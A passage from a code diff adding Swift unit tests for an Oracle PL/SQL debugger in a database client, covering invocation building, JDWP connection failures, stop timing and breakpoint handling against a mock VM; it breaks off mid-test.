+            ["ADD_TAX", "1", "1", "1", "P_AMOUNT", "NUMBER", "IN", "N", nil, nil, nil, nil],
+            ["ADD_TAX", "2", "2", "0", nil, "NUMBER", "OUT", "N", nil, nil, nil, nil],
+            ["ADD_TAX", "2", "2", "1", "P_AMOUNT", "NUMBER", "IN", "N", nil, nil, nil, nil],
+            ["ADD_TAX", "2", "2", "2", "P_RATE", "NUMBER", "IN", "N", nil, nil, nil, nil],
+            ["RUN", "3", nil, "1", "P_N", "BINARY_INTEGER", "IN", "N", nil, nil, nil, "PLS_INTEGER"],
+            ["RESET", "4", nil, nil, nil, nil, nil, nil, nil, nil, nil, nil]
+        ]
+        let entries = OracleDebugStatements.parseEntryPoints(rows: rows, unit: body)
+        #expect(entries.map(\.displayName) == [
+            "ADD_TAX(P_AMOUNT NUMBER) RETURN NUMBER",
+            "ADD_TAX(P_AMOUNT NUMBER, P_RATE NUMBER) RETURN NUMBER",
+            "RUN(P_N PLS_INTEGER)",
+            "RESET"
+        ])
+        #expect(entries[1].entry.identity == "PACKAGE BODY/PROBE/PKG_CALC/ADD_TAX/2")
+        #expect(entries[3].parameters.isEmpty && entries[3].result == nil)
+    }
+
+    @Test func testInvocationNamesArgumentsAndLeavesDefaultsOut() throws {
+        let entry = OracleDebugEntryPoint(
+            entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "F_CALC", kind: .function), subprogram: "F_CALC", subprogramID: 1),
+            overload: nil,
+            parameters: [
+                OracleDebugParameter(name: "P_A", position: 1, dataType: "NUMBER", mode: .input, hasDefault: false),
+                OracleDebugParameter(name: "P_B", position: 2, dataType: "VARCHAR2", mode: .input, hasDefault: true),
+                OracleDebugParameter(name: "P_FLAG", position: 3, dataType: "PL/SQL BOOLEAN", mode: .input, hasDefault: true)
+            ],
+            result: OracleDebugParameter(name: "", position: 0, dataType: "NUMBER", mode: .output, hasDefault: false)
+        )
+        let invocation = try OracleDebugStatements.invocation(
+            of: entry,
+            arguments: ["P_A": .text("21"), "P_B": .defaultValue, "P_FLAG": .text("false")]
+        )
+        #expect(invocation.binds == [.text("21"), .text("false")])
+        #expect(invocation.block.contains("  l_arg1 NUMBER;"))
+        #expect(invocation.block.contains("  l_arg3 BOOLEAN;"))
+        #expect(invocation.block.contains("  l_arg1 := TO_NUMBER(:1);"))
+        #expect(invocation.block.contains("  l_arg3 := CASE UPPER(TRIM(:2)) WHEN 'TRUE' THEN TRUE"))
+        #expect(invocation.block.contains("l_result := \"PROBE\".\"F_CALC\"(\"P_A\" => l_arg1, \"P_FLAG\" => l_arg3);"))
+        #expect(!invocation.block.contains("\"P_B\""))
+        #expect(invocation.block.contains("put('F_CALC');"))
+        #expect(invocation.block.contains("OPEN :rows FOR"))
+    }
+
+    @Test func testOutParametersAreDeclaredPassedAndReported() throws {
+        let entry = OracleDebugEntryPoint(
+            entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "P_WRITE", kind: .procedure), subprogram: "P_WRITE", subprogramID: 1),
+            overload: nil,
+            parameters: [
+                OracleDebugParameter(name: "P_NOTE", position: 1, dataType: "VARCHAR2", mode: .input, hasDefault: false),
+                OracleDebugParameter(name: "P_COUNT", position: 2, dataType: "NUMBER", mode: .output, hasDefault: false),
+                OracleDebugParameter(name: "P_ROW", position: 3, dataType: "PL/SQL RECORD", mode: .inputOutput, hasDefault: false,
+                                     typeOwner: "PROBE", typeName: "PKG", typeSubname: "REC_T")
+            ],
+            result: nil
+        )
+        let invocation = try OracleDebugStatements.invocation(of: entry, arguments: ["P_NOTE": .null, "P_ROW": .null])
+        #expect(invocation.binds.isEmpty)
+        #expect(invocation.block.contains("l_arg1 VARCHAR2(32767);"))
+        #expect(invocation.block.contains("l_arg2 NUMBER;"))
+        #expect(invocation.block.contains("l_arg3 \"PROBE\".\"PKG\".\"REC_T\";"))
+        #expect(invocation.block.contains("\"PROBE\".\"P_WRITE\"(\"P_NOTE\" => l_arg1, \"P_COUNT\" => l_arg2, \"P_ROW\" => l_arg3);"))
+        #expect(!invocation.block.contains("=> NULL"))
+        #expect(invocation.block.contains("put('1');"))
+        #expect(invocation.block.contains("put(TO_CHAR(l_arg2));"))
+    }
+
+    // Two overloads that differ only in the type of P_X: the typed local is what makes Oracle pick the chosen one.
+    @Test func testEachOverloadIsCalledWithItsOwnTypes() throws {
+        func overload(_ id: Int, _ type: String) -> OracleDebugEntryPoint {
+            OracleDebugEntryPoint(
+                entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "PKG_OVER", kind: .packageBody), subprogram: "SHOW", subprogramID: id),
+                overload: String(id),
+                parameters: [OracleDebugParameter(name: "P_X", position: 1, dataType: type, mode: .input, hasDefault: false)],
+                result: nil
+            )
+        }
+        let number = try OracleDebugStatements.invocation(of: overload(1, "NUMBER"), arguments: ["P_X": .text("5")])
+        #expect(number.block.contains("  l_arg1 NUMBER;"))
+        #expect(number.block.contains("  l_arg1 := TO_NUMBER(:1);"))
+        #expect(number.block.contains("\"PROBE\".\"PKG_OVER\".\"SHOW\"(\"P_X\" => l_arg1);"))
+        let text = try OracleDebugStatements.invocation(of: overload(2, "VARCHAR2"), arguments: ["P_X": .text("5")])
+        #expect(text.block.contains("  l_arg1 VARCHAR2(32767);"))
+        #expect(text.block.contains("  l_arg1 := :1;"))
+        let null = try OracleDebugStatements.invocation(of: overload(2, "VARCHAR2"), arguments: ["P_X": .null])
+        #expect(null.block.contains("  l_arg1 VARCHAR2(32767);"))
+        #expect(!null.block.contains("l_arg1 :="))
+        #expect(null.block.contains("(\"P_X\" => l_arg1);"))
+    }
+
+    @Test func testDateLikeTextConvertsExplicitly() throws {
+        let entry = OracleDebugEntryPoint(
+            entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "P", kind: .procedure), subprogram: "P", subprogramID: 1),
+            overload: nil,
+            parameters: [
+                OracleDebugParameter(name: "P_D", position: 1, dataType: "DATE", mode: .input, hasDefault: false),
+                OracleDebugParameter(name: "P_T", position: 2, dataType: "TIMESTAMP WITH TIME ZONE", mode: .input, hasDefault: false),
+                OracleDebugParameter(name: "P_I", position: 3, dataType: "INTERVAL DAY TO SECOND", mode: .input, hasDefault: false),
+                OracleDebugParameter(name: "P_N", position: 4, dataType: "BINARY_INTEGER", mode: .input, hasDefault: false, plsType: "PLS_INTEGER")
+            ],
+            result: nil
+        )
+        let invocation = try OracleDebugStatements.invocation(
+            of: entry,
+            arguments: ["P_D": .text("2024-01-02"), "P_T": .text("x"), "P_I": .text("+00 01:00:00"), "P_N": .text("3")]
+        )
+        #expect(invocation.block.contains("l_arg1 := TO_DATE(:1);"))
+        #expect(invocation.block.contains("l_arg2 := TO_TIMESTAMP_TZ(:2);"))
+        #expect(invocation.block.contains("l_arg3 := TO_DSINTERVAL(:3);"))
+        #expect(invocation.block.contains("l_arg4 PLS_INTEGER;"))
+    }
+
+    @Test func testTextCannotBePassedToACollection() {
+        let entry = OracleDebugEntryPoint(
+            entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "P", kind: .procedure), subprogram: "P", subprogramID: 1),
+            overload: nil,
+            parameters: [OracleDebugParameter(name: "P_LIST", position: 1, dataType: "TABLE", mode: .input, hasDefault: false,
+                                              typeOwner: "PROBE", typeName: "NUM_LIST")],
+            result: nil
+        )
+        #expect(throws: OracleDebugStatements.InvocationError.unsupportedArgument(name: "P_LIST", typeName: "PROBE.NUM_LIST")) {
+            try OracleDebugStatements.invocation(of: entry, arguments: ["P_LIST": .text("1,2")])
+        }
+    }
+
+    @Test func testInvocationReportReadsOutputsAndLines() throws {
+        let fields: [String?] = ["S", nil, "2", "F_CALC", "42", "P_COUNT", nil, "probe total=3.3", "second"]
+        let report = try OracleDebugStatements.invocationReport(fromPayload: fields)
+        #expect(report.succeeded)
+        #expect(report.outputs.map(\.name) == ["F_CALC", "P_COUNT"])
+        #expect(report.outputs.map(\.value) == ["42", nil])
+        #expect(report.lines == ["probe total=3.3", "second"])
+        let failed = try OracleDebugStatements.invocationReport(fromPayload: ["F", "ORA-01476: divisor is equal to zero", "0"])
+        #expect(!failed.succeeded)
+        #expect(failed.error == "ORA-01476: divisor is equal to zero")
+    }
+
+    @Test func testSourceKeepsAllSourceLineNumbers() {
+        let text = OracleDebugStatements.assembleSource(rows: [
+            (1, "package body pkg_calc as\n"),
+            (3, "  function add_tax return number is\n"),
+            (2, "  g_rate number := 0.1;\n"),
+            (5, "end pkg_calc;")
+        ])
+        #expect(text == "package body pkg_calc as\n  g_rate number := 0.1;\n  function add_tax return number is\n\nend pkg_calc;")
+    }
+
+    @Test func testSourceDropsCRLFEndingsAndKeepsEveryCharacter() {
+        let text = OracleDebugStatements.assembleSource(rows: [
+            (1, "begin\r\n"),
+            (2, "\r\n"),
+            (3, "  x := 1;\r\n"),
+            (4, "end;")
+        ])
+        #expect(text == "begin\n\n  x := 1;\nend;")
+    }
+
+    // The messages measured on 23.26 for each way the database can fail to connect back.
+    @Test func testJDWPFailuresClassifyTheMeasuredErrors() {
+        #expect(OracleDebugStatements.jdwpFailure(fromMessage: """
+            ORA-24247: network access denied by access control list (ACL)
+            ORA-06512: at "SYS.DBMS_DEBUG_JDWP", line 68
+            """) == .accessControlList)
+        let refused = "ORA-30683: failure establishing connection to debugger\nORA-30698: network connection failed: connection refused"
+        #expect(OracleDebugStatements.jdwpFailure(fromMessage: refused) == .unreachable(refused))
+        #expect(OracleDebugStatements.jdwpFailure(fromMessage: "ORA-01031: insufficient privileges\nORA-06512: at \"SYS.DBMS_DEBUG_JDWP\", line 68")
+            == .missingPrivilege)
+        #expect(OracleDebugStatements.jdwpFailure(fromMessage: "ORA-06576: not a valid function or procedure name: DBMS_DEBUG_JDWP")
+            == .packageUnavailable)
+        #expect(OracleDebugStatements.errorCodes(in: "ORA-30683: x\nORA-30698: y") == [30_683, 30_698])
+    }
+
+    @Test func testPortRanges() {
+        #expect(OracleDebugStatements.ports(from: "4000-4999") == 4_000...4_999)
+        #expect(OracleDebugStatements.ports(from: "4000 - 4999") == 4_000...4_999)
+        #expect(OracleDebugStatements.ports(from: " 15400 ") == 15_400...15_400)
+        #expect(OracleDebugStatements.ports(from: "5000-4000") == nil)
+        #expect(OracleDebugStatements.ports(from: "abc") == nil)
+        #expect(OracleDebugStatements.ports(from: "0") == nil)
+        #expect(OracleDebugStatements.ports(from: "4000-") == nil)
+    }
+
+    // A DBA's ACEs for ports 4000 and 4005 are not the range between them: a list is refused, never read as 4000-4005.
+    @Test func testAPortListIsRefused() {
+        #expect(OracleDebugStatements.ports(from: "4000, 4005") == nil)
+        #expect(OracleDebugStatements.ports(from: "4000 4005") == nil)
+        #expect(OracleDebugStatements.ports(from: "4000-4005-4010") == nil)
+    }
+
+    @Test func testABFILEPassesAsATypedNullAndRefusesText() throws {
+        let entry = OracleDebugEntryPoint(
+            entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "P", kind: .procedure), subprogram: "P", subprogramID: 1),
+            overload: nil,
+            parameters: [OracleDebugParameter(name: "F", position: 1, dataType: "BFILE", mode: .input, hasDefault: false)],
+            result: nil
+        )
+        let null = try OracleDebugStatements.invocation(of: entry, arguments: ["F": .null])
+        #expect(null.block.contains("  l_arg1 BFILE;"))
+        #expect(null.block.contains("(\"F\" => l_arg1);"))
+        #expect(throws: OracleDebugStatements.InvocationError.unsupportedArgument(name: "F", typeName: "BFILE")) {
+            try OracleDebugStatements.invocation(of: entry, arguments: ["F": .text("x")])
+        }
+    }
+
+    // A type with no name to declare cannot be passed at all, not even as NULL.
+    @Test func testAnUndeclarableTypeIsToldApartFromText() {
+        let entry = OracleDebugEntryPoint(
+            entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "P", kind: .procedure), subprogram: "P", subprogramID: 1),
+            overload: nil,
+            parameters: [OracleDebugParameter(name: "T", position: 1, dataType: "PL/SQL TABLE", mode: .input, hasDefault: false)],
+            result: nil
+        )
+        #expect(throws: OracleDebugStatements.InvocationError.undeclarableArgument(name: "T", typeName: "PL/SQL TABLE")) {
+            try OracleDebugStatements.invocation(of: entry, arguments: ["T": .null])
+        }
+    }
+
+    @Test func testConnectBlockBindsHostAndPortThroughACall() {
+        #expect(OracleDebugStatements.jdwpConnect.contains("'CALL SYS.DBMS_DEBUG_JDWP.CONNECT_TCP(:1, :2)' USING :1, :2"))
+    }
+}
+
+struct OracleDebugProtocolDecisionTests {
+    @Test func testTheFirstChoiceFollowsThePreferenceAndTheHost() {
+        #expect(OracleDebugProtocolDecision.initial(preference: .automatic, host: "192.168.1.20") == .jdwp)
+        #expect(OracleDebugProtocolDecision.initial(preference: .automatic, host: " ") == .dbmsDebug(.noDebuggerHost))
+        #expect(OracleDebugProtocolDecision.initial(preference: .dbmsDebug, host: "192.168.1.20") == .dbmsDebug(.chosen))
+        #expect(OracleDebugProtocolDecision.initial(preference: .jdwp, host: "192.168.1.20") == .jdwp)
+        // Behind a tunnel the host starts empty; explicit DBMS_DEBUG_JDWP is refused before any session opens.
+        #expect(OracleDebugProtocolDecision.initial(preference: .jdwp, host: " ") == .fail)
+    }
+
+    @Test func testAutomaticFallsBackOnTheNetworkFailures() {
+        let fallsBack: [OracleJDWPFailure] = [
+            .accessControlList, .unreachable("ORA-30683"), .packageUnavailable, .timedOut, .noFreePort, .handshakeFailed
+        ]
+        for failure in fallsBack {
+            #expect(OracleDebugProtocolDecision.afterJDWPFailure(failure, preference: .automatic) == .fallBack)
+            #expect(OracleDebugProtocolDecision.afterJDWPFailure(failure, preference: .jdwp) == .fail)
+        }
+    }
+
+    // DBMS_DEBUG needs the same DEBUG CONNECT SESSION (ORA-01031 from both, measured).
+    @Test func testAPrivilegeOrUnknownFailureIsFinal() {
+        #expect(OracleDebugProtocolDecision.afterJDWPFailure(.missingPrivilege, preference: .automatic) == .fail)
+        #expect(OracleDebugProtocolDecision.afterJDWPFailure(.noDebuggerHost, preference: .automatic) == .fail)
+        #expect(OracleDebugProtocolDecision.afterJDWPFailure(.other("ORA-00600"), preference: .automatic) == .fail)
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStopBudgetTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStopBudgetTests.swift
new file mode 100644
index 0000000000..5710e5e3bd
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStopBudgetTests.swift
@@ -0,0 +1,105 @@
+import Foundation
+import os
+@testable import TableProOracleCore
+import Testing
+
+// A clock that moves only when a step says it took time.
+private final class StepClock: Clock, @unchecked Sendable {
+    struct Instant: InstantProtocol {
+        var offset: Duration
+
+        func advanced(by duration: Duration) -> Instant { Instant(offset: offset + duration) }
+        func duration(to other: Instant) -> Duration { other.offset - offset }
+        static func < (lhs: Instant, rhs: Instant) -> Bool { lhs.offset < rhs.offset }
+    }
+
+    private let current = OSAllocatedUnfairLock(initialState: Instant(offset: .zero))
+
+    var now: Instant { current.withLock { $0 } }
+    var minimumResolution: Duration { .zero }
+
+    func advance(by duration: Duration) {
+        current.withLock { $0 = $0.advanced(by: duration) }
+    }
+
+    func sleep(until deadline: Instant, tolerance: Duration?) async throws {
+        current.withLock { $0 = max($0, deadline) }
+    }
+}
+
+// The host closes the transport 5 s after asking for Stop, so a DBMS_DEBUG kill must be sent at once and everything
+// after it fit in 3 s.
+struct OracleDebugStopBudgetTests {
+    @Test func testTheKillGoesFirstAndTheRestWaitsForTheEnd() async {
+        let clock = StepClock()
+        let order = OSAllocatedUnfairLock(initialState: [String]())
+        let ended = await OracleDebugStopBudget.endRunningTarget(clock: clock) {
+            order.withLock { $0.append("kill at \(clock.now.offset)") }
+            clock.advance(by: .milliseconds(300))
+            return .marked
+        } waitForEnd: { remaining in
+            order.withLock { $0.append("wait \(remaining)") }
+            return true
+        }
+        #expect(ended)
+        #expect(order.withLock { $0 } == ["kill at 0.0 seconds", "wait 2.2 seconds"])
+    }
+
+    // Without ALTER SYSTEM the routine may still reach its end or a breakpoint, but only inside the budget.
+    @Test func testARefusedKillWaitsOnlyForWhatIsLeft() async {
+        let clock = StepClock()
+        let waited = OSAllocatedUnfairLock<Duration?>(initialState: nil)
+        let ended = await OracleDebugStopBudget.endRunningTarget(clock: clock) {
+            clock.advance(by: .milliseconds(100))
+            return .refused
+        } waitForEnd: { remaining in
+            waited.withLock { $0 = remaining }
+            clock.advance(by: remaining)
+            return false
+        }
+        #expect(!ended)
+        #expect(waited.withLock { $0 } == .milliseconds(2_400))
+        #expect(clock.now.offset <= OracleDebugStopBudget.total)
+    }
+
+    @Test func testAKillThatUsedTheBudgetDoesNotWait() async {
+        let clock = StepClock()
+        let waited = OSAllocatedUnfairLock(initialState: false)
+        let ended = await OracleDebugStopBudget.endRunningTarget(clock: clock) {
+            clock.advance(by: .seconds(3))
+            return .marked
+        } waitForEnd: { _ in
+            waited.withLock { $0 = true }
+            return true
+        }
+        #expect(!ended)
+        #expect(!waited.withLock { $0 })
+    }
+
+    // ORA-00028 is how a killed target's call fails (measured); a transport the connection lost, or never had, says
+    // nothing about the server session.
+    @Test func testOnlyTheServersAnswerProvesTheCallEnded() {
+        let answered: [Result<[String?], Error>] = [
+            .success([]),
+            .failure(OracleCoreError.queryFailed("ORA-00028: your session has been killed")),
+            .failure(OracleDebugError.server(code: 6_543, message: "ORA-06543"))
+        ]
+        let unanswered: [Result<[String?], Error>] = [
+            .failure(OracleCoreError.connectionClosed),
+            .failure(OracleCoreError.notConnected),
+            .failure(OracleCoreError.protocolError),
+            .failure(OracleCoreError.queryFailed(String(format: OracleCoreError.driverErrorFormat, "uncleanShutdown"))),
+            .failure(OracleCoreError.queryFailed("IOError: Connection reset by peer (errno: 54)")),
+            .failure(CancellationError())
+        ]
+        #expect(answered.map { OracleDebugSupport.endedOnServer($0) } == [true, true, true])
+        #expect(unanswered.map { OracleDebugSupport.endedOnServer($0) } == Array(repeating: false, count: 6))
+    }
+
+    // The kill can wait one supervisor poll on the gate; that and the cleanup still leave time to see the end.
+    @Test func testTheSupervisorPollFitsInsideTheBudget() {
+        let poll = Duration.seconds(OracleDBMSDebugStatements.supervisorTimeoutSeconds)
+        #expect(poll + OracleDebugStopBudget.cleanup < OracleDebugStopBudget.total)
+        #expect(OracleDebugStopBudget.total <= .seconds(3))
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugUnitTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugUnitTests.swift
new file mode 100644
index 0000000000..b594811d3e
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugUnitTests.swift
@@ -0,0 +1,73 @@
+import Foundation
+@testable import TableProOracleCore
+import Testing
+
+struct OracleDebugUnitTests {
+    @Test func testMeasuredClassSignaturesMapToUnits() {
+        #expect(OracleDebugUnit(jdwpSignature: "L$Oracle/PackageBody/PROBE/PKG_CALC;")
+            == OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody))
+        #expect(OracleDebugUnit(jdwpSignature: "L$Oracle/Package/PROBE/PKG_CALC;")
+            == OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .package))
+        #expect(OracleDebugUnit(jdwpSignature: "L$Oracle/Procedure/PROBE/P_WRITE;")
+            == OracleDebugUnit(owner: "PROBE", name: "P_WRITE", kind: .procedure))
+        #expect(OracleDebugUnit(jdwpSignature: "L$Oracle/Function/PROBE/F_CALC;")
+            == OracleDebugUnit(owner: "PROBE", name: "F_CALC", kind: .function))
+    }
+
+    @Test func testBlocksBuiltinsAndLocalTypesAreNotUnits() {
+        #expect(OracleDebugUnit(jdwpSignature: "L$Oracle/Block/PROBE/B5b7fkkBPUBJ4f33OXgisXQ;") == nil)
+        #expect(OracleDebugUnit.isAnonymousBlock(jdwpSignature: "L$Oracle/Block/PROBE/B5b7fkkBPUBJ4f33OXgisXQ;"))
+        #expect(OracleDebugUnit(jdwpSignature: "L$Oracle/Builtin/NUMBER;") == nil)
+        #expect(OracleDebugUnit(jdwpSignature: "L$Oracle/Function/PROBE/F_CALC/F_CALC/T_NUMS;") == nil)
+        #expect(OracleDebugUnit(jdwpSignature: "Ljava/lang/String;") == nil)
+    }
+
+    @Test func testUnitsMapBackToClassMatchPatterns() {
+        let unit = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody)
+        #expect(unit.jdwpClassName == "$Oracle/PackageBody/PROBE/PKG_CALC")
+        #expect(unit.jdwpSignature == "L$Oracle/PackageBody/PROBE/PKG_CALC;")
+        #expect(OracleDebugUnit(jdwpSignature: unit.jdwpSignature) == unit)
+    }
+
+    @Test func testIdentityRoundTripsNamesHoldingSlashesAndPercents() {
+        let unit = OracleDebugUnit(owner: "A/B%", name: "x/y%2F", kind: .packageBody)
+        #expect(unit.identity == "PACKAGE BODY/A%2FB%25/x%2Fy%252F")
+        #expect(OracleDebugUnit(identity: unit.identity) == unit)
+        #expect(OracleDebugUnit(identity: "VIEW/PROBE/V") == nil)
+    }
+
+    @Test func testEntryIdentityCarriesTheSubprogramAndItsID() {
+        let entry = OracleDebugEntry(
+            unit: OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody),
+            subprogram: "ADD_TAX",
+            subprogramID: 2
+        )
+        #expect(entry.identity == "PACKAGE BODY/PROBE/PKG_CALC/ADD_TAX/2")
+        #expect(OracleDebugEntry(identity: entry.identity) == entry)
+        #expect(entry.isPackaged)
+    }
+
+    @Test func testCompileForDebugKeepsSettingsAndQuotesNames() {
+        #expect(OracleDebugUnitKind.packageBody.compileForDebugStatement(owner: "PROBE", name: "PKG_CALC")
+            == "ALTER PACKAGE \"PROBE\".\"PKG_CALC\" COMPILE BODY PLSQL_OPTIMIZE_LEVEL=1 REUSE SETTINGS")
+        #expect(OracleDebugUnitKind.procedure.compileForDebugStatement(owner: "PROBE", name: "P\"Q")
+            == "ALTER PROCEDURE \"PROBE\".\"P\"\"Q\" COMPILE PLSQL_OPTIMIZE_LEVEL=1 REUSE SETTINGS")
+        #expect(OracleDebugUnitKind.function.compileForDebugStatement(owner: "PROBE", name: "F_CALC")
+            == "ALTER FUNCTION \"PROBE\".\"F_CALC\" COMPILE PLSQL_OPTIMIZE_LEVEL=1 REUSE SETTINGS")
+    }
+
+    @Test func testDBMSDebugNamespacesAndLibunitTypes() {
+        #expect(OracleDebugUnitKind(namespace: 2, libunitType: 11) == .packageBody)
+        #expect(OracleDebugUnitKind(namespace: 1, libunitType: 7) == .procedure)
+        #expect(OracleDebugUnitKind(namespace: 1, libunitType: 8) == .function)
+        #expect(OracleDebugUnitKind(namespace: 1, libunitType: 9) == .package)
+        #expect(OracleDebugUnitKind(namespace: 0, libunitType: 0) == nil)
+        #expect(OracleDebugUnitKind.packageBody.namespace == 2)
+        #expect(OracleDebugUnitKind.function.namespace == 1)
+    }
+
+    @Test func testTypeNamesComeFromSignatures() {
+        #expect(OracleDebugUnit.typeName(fromJDWPSignature: "L$Oracle/Builtin/NUMBER;") == "NUMBER")
+        #expect(OracleDebugUnit.typeName(fromJDWPSignature: "L$Oracle/Function/PROBE/F_CALC/F_CALC/T_REC;") == "T_REC")
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPBreakpointTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPBreakpointTests.swift
new file mode 100644
index 0000000000..326e2ebf85
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPBreakpointTests.swift
@@ -0,0 +1,194 @@
+import Foundation
+import os
+@testable import TableProOracleCore
+import Testing
+
+struct OracleJDWPBreakpointTests {
+    private static let calcBody = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody)
+
+    // A VM whose PKG_CALC body has one method, RUN, with code on `lines`; the unit counts as loaded once `isLoaded`
+    // says so. Records the request id it gave each breakpoint, by code index, which is the line.
+    private final class VM: @unchecked Sendable {
+        private struct State {
+            var isLoaded: Bool
+            var refusesNextClear = false
+            var nextRequest: Int32 = 0
+            var breakpoints: [Int64: Int32] = [:]
+        }
+
+        private let state: OSAllocatedUnfairLock<State>
+        private let lines: [Int]
+
+        init(lines: [Int], isLoaded: Bool) {
+            self.lines = lines
+            state = OSAllocatedUnfairLock(initialState: State(isLoaded: isLoaded))
+        }
+
+        func load() {
+            state.withLock { $0.isLoaded = true }
+        }
+
+        func refuseNextClear() {
+            state.withLock { $0.refusesNextClear = true }
+        }
+
+        func request(atLine line: Int) -> Int32? {
+            state.withLock { $0.breakpoints[Int64(line)] }
+        }
+
+        func answer(_ sent: RespondingPeer.Sent) -> (events: [Data], errorCode: UInt16, body: Data)? {
+            var writer = OracleJDWPWriter(sizes: .oracle)
+            switch (sent.commandSet, sent.command) {
+            case (OracleJDWPCommand.virtualMachine, OracleJDWPCommand.idSizes):
+                return ([OracleJDWPRecording.vmStartEvent], 0, replyBody(OracleJDWPRecording.idSizesReply))
+            case (OracleJDWPCommand.virtualMachine, OracleJDWPCommand.classesBySignature):
+                guard state.withLock({ $0.isLoaded }) else {
+                    writer.i32(0)
+                    break
+                }
+                writer.i32(1)
+                writer.u8(1)
+                writer.id(2, .referenceType)
+                writer.i32(7)
+            case (OracleJDWPCommand.referenceType, OracleJDWPCommand.methods):
+                writer.i32(1)
+                writer.id(5, .method)
+                writer.string("RUN")
+                writer.string("()V")
+                writer.i32(9)
+            case (OracleJDWPCommand.method, OracleJDWPCommand.lineTable):
+                writer.i64(Int64(lines.first ?? 0))
+                writer.i64(Int64(lines.last ?? 0))
+                writer.i32(Int32(lines.count))
+                for line in lines {
+                    writer.i64(Int64(line))
+                    writer.i32(Int32(line))
+                }
+            case (OracleJDWPCommand.eventRequest, OracleJDWPCommand.clear):
+                let refuses = state.withLock { current -> Bool in
+                    defer { current.refusesNextClear = false }
+                    return current.refusesNextClear
+                }
+                // INVALID_EVENT_TYPE, with the session still up.
+                if refuses { return ([], 102, Data()) }
+            case (OracleJDWPCommand.eventRequest, OracleJDWPCommand.set):
+                let id = state.withLock { current -> Int32 in
+                    current.nextRequest += 1
+                    if sent.body.first == OracleJDWPEventKind.breakpoint.rawValue {
+                        current.breakpoints[Self.codeIndex(of: sent.body)] = current.nextRequest
+                    }
+                    return current.nextRequest
+                }
+                writer.i32(id)
+            default:
+                break
+            }
+            return ([], 0, writer.data)
+        }
+
+        // A breakpoint request ends with its location, whose last eight bytes are the code index.
+        private static func codeIndex(of body: Data) -> Int64 {
+            body.suffix(8).reduce(Int64(0)) { $0 << 8 | Int64($1) }
+        }
+    }
+
+    private func makeSession(_ vm: VM, helper: ScriptedChannel? = nil) async throws -> (OracleJDWPDebugSession, RespondingPeer) {
+        let peer = RespondingPeer { vm.answer($0) }
+        let connection = OracleJDWPConnection(transport: peer, replyTimeout: .seconds(5))
+        try await connection.handshake()
+        let offline = OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x"))
+        let session = OracleJDWPDebugSession(
+            connection: connection,
+            target: offline,
+            helper: helper ?? offline,
+            entryPoint: OracleDebugEntryPoint(
+                entry: OracleDebugEntry(unit: Self.calcBody, subprogram: "RUN", subprogramID: 3),
+                overload: nil,
+                parameters: [],
+                result: nil
+            ),
+            invocation: OracleDebugStatements.Invocation(block: "BEGIN NULL; END;", binds: []),
+            connectCall: Task { .success([]) },
+            notices: []
+        )
+        return (session, peer)
+    }
+
+    private func clears(_ peer: RespondingPeer) -> [Data] {
+        peer.sent
+            .filter { $0.commandSet == OracleJDWPCommand.eventRequest && $0.command == OracleJDWPCommand.clear }
+            .map(\.body)
+    }
+
+    private func clear(_ request: Int32?) -> Data {
+        OracleJDWPRequest.clear(kind: .breakpoint, requestID: request ?? -1, sizes: .oracle)
+    }
+
+    // Line 4 has no code, so the breakpoint sent at start lands on line 5; the host never learns that.
+    @Test func testAStartBreakpointIsRemovedByTheLineItWasAskedFor() async throws {
+        let vm = VM(lines: [3, 5, 6], isLoaded: true)
+        let (session, peer) = try await makeSession(vm)
+        try await session.start(breakpoints: [(unit: Self.calcBody, line: 4)])
+
+        try await session.removeBreakpoint(in: Self.calcBody, line: 4)
+        #expect(clears(peer) == [clear(vm.request(atLine: 5))])
+        #expect(await session.stop() == .ended)
+    }
+
+    // The unit is not loaded at start: the line map places line 4 on line 5, and the class's line table then moves it
+    // to line 6 when the unit loads.
+    @Test func testAPendingBreakpointIsRemovedByItsLineAfterItsUnitLoads() async throws {
+        let vm = VM(lines: [3, 6], isLoaded: false)
+        // Lines 3, 5 and 6 have code in DBMS_DEBUG's line map.
+        let helper = ScriptedChannel { sql in
+            sql.contains("GET_LINE_MAP") ? [OracleDebugPayload.encode(["0", "6", "68"])] : []
+        }
+        let (session, peer) = try await makeSession(vm, helper: helper)
+        try await session.start(breakpoints: [(unit: Self.calcBody, line: 4)])
+        vm.load()
+        #expect(try await session.setBreakpoint(in: Self.calcBody, line: 3) == 3)
+
+        try await session.removeBreakpoint(in: Self.calcBody, line: 4)
+        #expect(clears(peer) == [clear(vm.request(atLine: 6))])
+        #expect(await session.stop() == .ended)
+    }
+
+    // Lines 4 and 5 both land on line 5: the breakpoint stays until the host has removed both.
+    @Test func testABreakpointTwoStartLinesLandedOnStaysUntilBothAreRemoved() async throws {
+        let vm = VM(lines: [3, 5, 6], isLoaded: true)
+        let (session, peer) = try await makeSession(vm)
+        try await session.start(breakpoints: [(unit: Self.calcBody, line: 4), (unit: Self.calcBody, line: 5)])
+
+        try await session.removeBreakpoint(in: Self.calcBody, line: 4)
